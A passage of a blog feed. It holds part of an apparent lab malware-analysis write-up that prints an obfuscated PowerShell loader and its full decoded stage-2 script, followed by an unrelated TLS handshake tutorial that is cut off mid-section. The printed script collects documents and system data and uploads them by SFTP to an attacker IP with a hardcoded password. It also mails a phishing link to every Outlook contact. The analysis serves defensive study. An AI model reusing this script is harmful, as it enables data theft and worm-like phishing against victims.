$bOom = [sYsTeM.tExT.eNcOdInG]::uTf8.GeTsTrInG([sYsTeM.cOnVeRt]::fRoMbASe64sTrInG(&quot;$enC&quot;)) ;
$iLy = &quot;iNv&quot;+&quot;OKe&quot;+&quot;-Ex&quot;+&quot;PrE&quot;+&quot;SsI&quot;+&quot;On&quot; ; NeW-AliAs -NaMe ilY -VaLuE $iLy -FoRcE ; ilY $bOom ;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And it is indeed execute this base64 encoded text as we can see it is building &lt;code&gt;iNv&quot;+&quot;OKe&quot;+&quot;-Ex&quot;+&quot;PrE&quot;+&quot;SsI&quot;+&quot;On&lt;/code&gt; as &lt;code&gt;iNvOKe-ExPrESsIOn&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Step 1: Reverse Base64 code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125193933.png&quot; alt=&quot;Pasted image 20251125193933.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the decode text so i saved this as &lt;code&gt;stage2.ps1&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$hostname = $env:COMPUTERNAME
$currentUser = $env:USERNAME
$url = &quot;http://44.206.187.144:9000/Superstar_MemberCard.tiff&quot;
$img = &quot;C:\users\$currentUser\Downloads\Superstar_MemberCard.tiff&quot;

Invoke-WebRequest -Uri $url -OutFile $img
Start-Process $img

$searchDir = &quot;C:\Users&quot;
$targetDir = &quot;C:\Users\Public\Public Files&quot;

if (-not (Test-Path -Path $targetDir -PathType Container)) {
    New-Item -ItemType Directory -Path $targetDir -Force | Out-Null
}

$currentUser | Out-File -FilePath (Join-Path $targetDir &apos;username.txt&apos;) -Force

nltest /dsgetdc:$env:USERDOMAIN 2&amp;gt;$null | Out-File -FilePath (Join-Path $targetDir &apos;DCinfo.txt&apos;) -Force
Get-WmiObject -Class Win32_UserAccount | Out-File -FilePath (Join-Path $targetDir &apos;localusers.txt&apos;) -Force
wmic /NAMESPACE:\\root\SecurityCenter2 PATH AntiVirusProduct GET /value 2&amp;gt;$null | Out-File -FilePath (Join-Path $targetDir &apos;AVinfo.txt&apos;) -Force

$currentUserProcesses = Get-WmiObject Win32_Process | Where-Object {
    try {
        $_.GetOwner().User -eq $currentUser
    } catch {
        $false  
    }
}

$currentUserProcesses | Select-Object ProcessName, ProcessId | Out-File -FilePath (Join-Path $targetDir &apos;UserProcesses.txt&apos;) -Force

if (Get-Process -Name Outlook -ErrorAction SilentlyContinue) {
    Stop-Process -Name Outlook -Force -ErrorAction SilentlyContinue
}

$extList =  &quot;*.doc&quot;, &quot;*.docx&quot;, &quot;*.xls&quot;, &quot;*.xlsx&quot;, &quot;*.ppt&quot;, &quot;*.pptx&quot;, &quot;*.pdf&quot;, &quot;*.csv&quot;, &quot;.*oft&quot;, &quot;*.potx&quot;, 
            &quot;*.xltx&quot;, &quot;*.dotx&quot;, &quot;*.msg&quot;, &quot;*.eml&quot;, &quot;*.pst&quot;,  &quot;*.odt&quot;, &quot;*.ods&quot;, &quot;*.odp&quot;, &quot;*.odg&quot;, &quot;*.ost&quot;
             
$null = Get-ChildItem $searchDir -Recurse -Include $extList -Force -ErrorAction &apos;SilentlyContinue&apos; |
    ForEach-Object {
        $destinationPath = Join-Path $targetDir $_.Name
        
        if ($_.FullName -ne $destinationPath) {
            Copy-Item -Path $_.FullName -Destination $destinationPath -Force
        }
    }

Get-SmbShare | Out-File -FilePath (Join-Path $targetDir &apos;Shareinfo.txt&apos;) -Force
gpresult /r | Out-File -FilePath (Join-Path $targetDir &apos;GPinfo.txt&apos;) -Force
$ProgressPreference = &apos;SilentlyContinue&apos;
$archivePath = &quot;$targetDir\$hostname.zip&quot;
Compress-Archive -Path $targetDir -DestinationPath $archivePath -Force 

$wZipUrl = &quot;https://us.softradar.com/static/products/winscp-portable/distr/0/winscp-portable_softradar-com.zip&quot;
$wZipFile = &quot;$targetDir\WinSCP.zip&quot;
$wExtractPath = &quot;C:\Users\Public\HelpDesk-Tools&quot;

Invoke-WebRequest -UserAgent &quot;Wget&quot; -Uri $wZipUrl -OutFile $wZipFile -UseBasicParsing
Expand-Archive -Path $wZipFile -DestinationPath $wExtractPath -Force

$wExePath = &quot;$wExtractPath\WinSCP.com&quot;
$sPath = &quot;$wExtractPath\maintenanceScript.txt&quot;
@&quot;
open sftp://service:M8&amp;amp;C!i6KkmGL1-#@35.169.66.138/ -hostkey=*
put `&quot;$archivePath`&quot;
close
exit
&quot;@ | Out-File -FilePath $sPath -Force
Start-Process -FilePath $wExePath -ArgumentList &quot;/script=`&quot;$sPath`&quot;&quot; -Wait -NoNewWindow


$outlookPath  = Get-ChildItem -Path &quot;C:\Program Files\Microsoft Office&quot; -Filter &quot;OUTLOOK.EXE&quot; -Recurse | Select-Object -First 1 -ExpandProperty FullName

$htmlBody = @&quot;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;style&amp;gt;
    body {
    font-family: Calibri, sans-serif;
    }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;p&amp;gt;Hey, &amp;lt;/p&amp;gt; &amp;lt;p&amp;gt; Hope you&apos;re doing great when you see this. I&apos;m reaching out because there&apos;s something I&apos;ve been wanting to share with you. You know that feeling when you&apos;ve been admiring someone from afar, but hesitated to take the next step? That&apos;s been me lately, but I&apos;ve decided it&apos;s time to change that.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;In a world where we often rush through everything, I believe in the beauty of taking things slow, cherishing each moment like a scene from a timeless tale. So, if you&apos;re open to it, I&apos;d love for us to meet up after hours.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;I&apos;ve arranged for a rendezvous at a private membership club, where we can enjoy a bit of privacy and exclusivity. I&apos;ve attached the map for your convenience. &amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;To gain entry, you&apos;ll need a digital membership card for entry, accessible &amp;lt;a href=&apos;http://44.206.187.144:9000/Superstar_MemberCard.tiff.exe&apos;&amp;gt;here&amp;lt;/a&amp;gt;. Just a friendly heads up, there&apos;s a time limit before you can download it, so it&apos;s best to grab it sooner rather than waiting too long.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;Counting on seeing you there later.&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&quot;@

if ($outlookPath) {
    Start-Process -FilePath $outlookPath
    $outlook = New-Object -ComObject Outlook.Application
    $namespace = $outlook.GetNamespace(&quot;MAPI&quot;)
    $contactsFolder = $namespace.GetDefaultFolder(10) 
    $csvFilePath = &quot;$targetDir\Contacts.csv&quot;
    $contactsFolder.Items | ForEach-Object {
        $_.GetInspector | ForEach-Object {
            $_.Close(0)  
        }
        $props = @{
            &apos;Full Name&apos;      = $_.FullName
            &apos;Email Address&apos;  = $_.Email1Address
            
        }
        New-Object PSObject -Property $props
    } | Export-Csv -Path $csvFilePath -NoTypeInformation

    $contacts = Import-Csv -Path $csvFilePath
    $mailItem = $outlook.CreateItem(0)
    $mailItem.Subject = &quot;Fingers crossed you&apos;ll notice..&quot;
    $mailItem.HtmlBody = $htmlBody
    $mailItem.Attachments.Add($img) &amp;gt; $null
    $mailItem.BodyFormat = 2 

    foreach ($contact in $contacts) {
        $bccRecipient = $mailItem.Recipients.Add($contact.&quot;Email Address&quot;)
        $bccRecipient.Type = [Microsoft.Office.Interop.Outlook.OlMailRecipientType]::olBCC
    }

    $mailItem.Recipients.ResolveAll() &amp;gt; $null
    $mailItem.Send()
}

Remove-Item -Path $wExtractPath -Recurse -Force
Remove-Item -Path $targetDir -Recurse -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Base64
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 7&lt;/h1&gt;
&lt;h2&gt;What is the specific cmdlet utilized that was used to initiate file downloads?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In that &lt;code&gt;stage2.ps1&lt;/code&gt; there is one cmdlet used which is &lt;code&gt;Invoke-WebRequest&lt;/code&gt;, It is used for download files from web,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125194303.png&quot; alt=&quot;Pasted image 20251125194303.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invoke-WebRequest
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 8&lt;/h1&gt;
&lt;h2&gt;Could you identify any possible network-related Indicators of Compromise (IoCs) after examining the code? Separate IPs by comma and in ascending order.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Here are the 2 IP Addresses found in that same &lt;code&gt;stage2.ps1&lt;/code&gt; file,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125194452.png&quot; alt=&quot;Pasted image 20251125194452.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125194707.png&quot; alt=&quot;Pasted image 20251125194707.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;35.169.66.138,44.206.187.144
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 9&lt;/h1&gt;
&lt;h2&gt;The binary created a staging directory. Can you specify the location of this directory where the harvested files are stored?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;In the same file there is one path stored as string inside &lt;code&gt;$targetDir&lt;/code&gt; which is storing all files to that &lt;code&gt;C:\Users\Public\Public Files&lt;/code&gt; directory,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125194838.png&quot; alt=&quot;Pasted image 20251125194838.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\Public\Public Files
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 10&lt;/h1&gt;
&lt;h2&gt;What MITRE ID corresponds to the technique used by the malicious binary to autonomously gather data?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1119&quot;&gt;T1119&lt;/a&gt; : &lt;a href=&quot;https://attack.mitre.org/techniques/T1119&quot;&gt;Automated Collection&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Once established within a system or network, an adversary may use automated techniques for collecting internal data.&lt;/li&gt;
&lt;li&gt;Methods for performing this technique could include use of a &lt;a href=&quot;https://attack.mitre.org/techniques/T1059&quot;&gt;Command and Scripting Interpreter&lt;/a&gt; to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.|&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125195127.png&quot; alt=&quot;Pasted image 20251125195127.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;T1119
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 11&lt;/h1&gt;
&lt;h2&gt;What is the password utilized to exfiltrate the collected files through the file transfer program within the binary?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Creates an SFTP script (WinSCP script)&lt;/li&gt;
&lt;li&gt;Uses hardcoded credentials&lt;/li&gt;
&lt;li&gt;Connects to attacker-controlled SFTP server&lt;/li&gt;
&lt;li&gt;Uploads stolen files (&lt;code&gt;archivePath&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Runs silently using WinSCP
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Its purpose: covert data exfiltration to a remote server.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251125195321.png&quot; alt=&quot;Pasted image 20251125195321.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;M8&amp;amp;C!i6KkmGL1-#
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>TLS Handshake</title><link>https://fuwari.vercel.app/posts/tls-handshake-explained/tls-handshake/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/tls-handshake-explained/tls-handshake/</guid><description>Visualization of TLS Handshake.</description><pubDate>Fri, 28 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TLS Structure and Working&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;TLS%20Handshake.svg&quot; alt=&quot;TLS Handshake&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Note &amp;gt; For better appearance, download the image.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cipher Suites in Handshake&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222192328.png&quot; alt=&quot;Pasted image 20250222192328&quot; /&gt;
&lt;img src=&quot;images/Pasted%20image%2020250222172950.png&quot; alt=&quot;Pasted image 20250222172950&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This Field is present to the TLS Client Hello Packet in Application Layer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250221194224.png&quot; alt=&quot;Pasted image 20250221194224&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250221194341.png&quot; alt=&quot;Pasted image 20250221194341&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From Most Secure to Least Secure&lt;/li&gt;
&lt;li&gt;There can be different suites for different version of TLS&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Cipher Suites (21 suites) 
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc14)
    Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc13)
    Cipher Suite: TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc15)
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
    Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
    Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
    Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)
    Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007)
    Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
    Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
    Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
    Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
    Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
    Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
    Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;References
&lt;ul&gt;
&lt;li&gt;&amp;lt;b&amp;gt;Transport Layer Security (TLS) Parameters&amp;lt;/b&amp;gt; : https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml&lt;/li&gt;
&lt;li&gt;&amp;lt;b&amp;gt;TLS Cipher Suites Pre-build List&amp;lt;/b&amp;gt; : &amp;gt;(https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#tls-parameters-4)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key Exchange&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;First, We need to generate &lt;code&gt;seed value (Secret key for HMAC, Secret key for Symmetric Encryption)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;Note &amp;gt; From this seed value any number of keys can be generate in future for both parties so key exchange is one time process.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here are numbers of algorithms for key exchange,
&lt;ol&gt;
&lt;li&gt;PSK&lt;/li&gt;
&lt;li&gt;RSA&lt;/li&gt;
&lt;li&gt;DH&lt;/li&gt;
&lt;li&gt;ECDH&lt;/li&gt;
&lt;li&gt;DHE&lt;/li&gt;
&lt;li&gt;ECDHE&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;PSK (Pre-Shared Key)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;it &lt;code&gt;will not provides forward secrecy&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222173714.png&quot; alt=&quot;Pasted image 20250222173714&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;RSA (Rivest-Shamir-Adleman)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;it &lt;code&gt;will not provides forward secrecy&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222173843.png&quot; alt=&quot;Pasted image 20250222173843&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;DH (Diffie-Helman)&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222174331.png&quot; alt=&quot;Pasted image 20250222174331&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222175106.png&quot; alt=&quot;Pasted image 20250222175106&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DH (Diffie-Helman) Variations,
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Elliptic curve Diffie-Helman Ephemeral (DE Parameters are temporary into cert and key file) ECDHE&lt;/strong&gt; &lt;code&gt;provides forward secrecy&lt;/code&gt;. (More Efficient and Secure then DHE)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DHE Diffie-Helman Ephemeral&lt;/strong&gt; &lt;code&gt;provides forward secrecy&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Elliptic curve Diffie-Helman ECDH (DE Parameters are static into cert and key file)&lt;/strong&gt; &lt;code&gt;will not provides forward secrecy&lt;/code&gt;.(More Efficient and Secure then DH)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diffie-Helman DH&lt;/strong&gt; &lt;code&gt;will not provides forward secrecy&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Parameters such as &lt;strong&gt;P, G, Private Key&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222174128.png&quot; alt=&quot;Pasted image 20250222174128&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Forward Secrecy&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Definition : &lt;strong&gt;&quot; Once encrypted always encrypted &quot;&lt;/strong&gt; meaning that asymmetric private key never compromise whether we are using it or not.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Without Forward Secrecy&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;Parameters (P, G, Private Key) are statically stored in private key itself&lt;/code&gt; which is not safe because attacker &lt;code&gt;get that private key by chance then it can generate seed value&lt;/code&gt; out of it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222180549.png&quot; alt=&quot;Pasted image 20250222180549&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;With Forward Secrecy&lt;/li&gt;
&lt;li&gt;For ECDHE and DHE the Parameters (P, G, Private Key) are &lt;code&gt;discarded after getting seed&lt;/code&gt; value so even &lt;code&gt;if attacker gets the private key it can&apos;t get the seed&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222180313.png&quot; alt=&quot;Pasted image 20250222180313&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Avoid, Accept, Prefer&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222192624.png&quot; alt=&quot;Pasted image 20250222192624&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Authentication&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Verify if server is truly who they say are&lt;/li&gt;
&lt;li&gt;Here are numbers of algorithms for authentication,
&lt;ol&gt;
&lt;li&gt;PSK&lt;/li&gt;
&lt;li&gt;DSS&lt;/li&gt;
&lt;li&gt;RSA&lt;/li&gt;
&lt;li&gt;ECDSA&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;PSK&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222181155.png&quot; alt=&quot;Pasted image 20250222181155&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;DSS (Digital Signature Standard)&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222181309.png&quot; alt=&quot;Pasted image 20250222181309&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DSA
&lt;ul&gt;
&lt;li&gt;Random Number is very important&lt;/li&gt;
&lt;li&gt;MUST be unique for each message or DSA fails catastrophically&lt;/li&gt;
&lt;li&gt;If Random # is ever re-used, Private Key can be extracted&lt;/li&gt;
&lt;li&gt;RFC 6979 u— Generate random # deterministically based on Message&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222181418.png&quot; alt=&quot;Pasted image 20250222181418&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;RSA vs DSS (DSA)&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222181822.png&quot; alt=&quot;Pasted image 20250222181822&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222181901.png&quot; alt=&quot;Pasted image 20250222181901&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222181937.png&quot; alt=&quot;Pasted image 20250222181937&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Summary :- &lt;strong&gt;Between RSA and DSS, RSA better performing in terms of security and largely acceptance&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;RSA vs ECDSA&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222182217.png&quot; alt=&quot;Pasted image 20250222182217&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Summary :-  &lt;strong&gt;Between RSA and ECDSA .. choose ECDSA&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Note &amp;gt; 
&amp;gt; BUT, you don&apos;t actually have to choose - you can use both!
&amp;gt; Cipher Suite is selected before Certificate is sent
&amp;gt; If client only supports RSA: present RSA certificate
&amp;gt; If client supports RSA or ECDSA: present ECDSA certificate
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Avoid, Accept, Prefer&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222192846.png&quot; alt=&quot;Pasted image 20250222192846&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Encryption&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Here are numbers of Encryption algorithms,&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;red&quot;&amp;gt;Red: Stream Cipher&amp;lt;/font&amp;gt;, &amp;lt;font color=&quot;green&quot;&amp;gt;Green: Block Cipher&amp;lt;/font&amp;gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;font color=&quot;red&quot;&amp;gt;CHACHA20&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;green&quot;&amp;gt;AES-256-GCM&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;green&quot;&amp;gt;AES-128-GCM&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;green&quot;&amp;gt;AES-256-CBC&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;green&quot;&amp;gt;AES-128-CBC&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;green&quot;&amp;gt;3DES-CBC&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;red&quot;&amp;gt;RC4-128&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;font color=&quot;green&quot;&amp;gt;DES-CBC&amp;lt;/font&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Key Sizes
&amp;lt; 128 bits : not secure
= 128 bits : secure
&amp;gt; 128 bits : very secure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222183000.png&quot; alt=&quot;Pasted image 20250222183000&quot; /&gt;
&lt;img src=&quot;images/Pasted%20image%2020250222183134.png&quot; alt=&quot;Pasted image 20250222183134&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Block cipher vs Stream Cipher&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222183243.png&quot; alt=&quot;Pasted image 20250222183243&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;What is Diffusion?&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222183349.png&quot; alt=&quot;Pasted image 20250222183349&quot; /&gt;
&lt;img src=&quot;images/Pasted%20image%2020250222183430.png&quot; alt=&quot;Pasted image 20250222183430&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Block Cipher Modes&lt;/h4&gt;
&lt;h5&gt;CBC (Cipher Block Chaining)&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;it suffers from &lt;strong&gt;&quot;padding oracle&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cannot be parallelized (next block is dependent on previous one makes it slower)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encryption&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222183620.png&quot; alt=&quot;Pasted image 20250222183620&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decryption&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222183649.png&quot; alt=&quot;Pasted image 20250222183649&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;CTR (Counter)&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Cipher blocks are not tied to blocks before or after so its vulnerable to changing block in cipher text so &lt;strong&gt;must pair with MAC know as Galois Counter Mode (GCM)&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;its a &lt;strong&gt;AEAD (Authenticated Encryption with Associated Data) cipher&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;can do &lt;code&gt;symmetric encryption and MAC&lt;/code&gt; at the same time&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can be parallelized&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encryption / Decryption
&lt;img src=&quot;images/Pasted%20image%2020250222183923.png&quot; alt=&quot;Pasted image 20250222183923&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3DES-CBC, RC4-128, DES-CBC&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222185327.png&quot; alt=&quot;Pasted image 20250222185327&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;AES-128/256-GCM/CBC&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Given &amp;lt;font color=&quot;cyan&quot;&amp;gt;2 Encryption Algorithms&amp;lt;/font&amp;gt; are known to be much secure then other two.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020250222185630.png&quot; alt=&quot;Pasted image 20250222185630&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;ChaCha20&lt;/h4&gt;
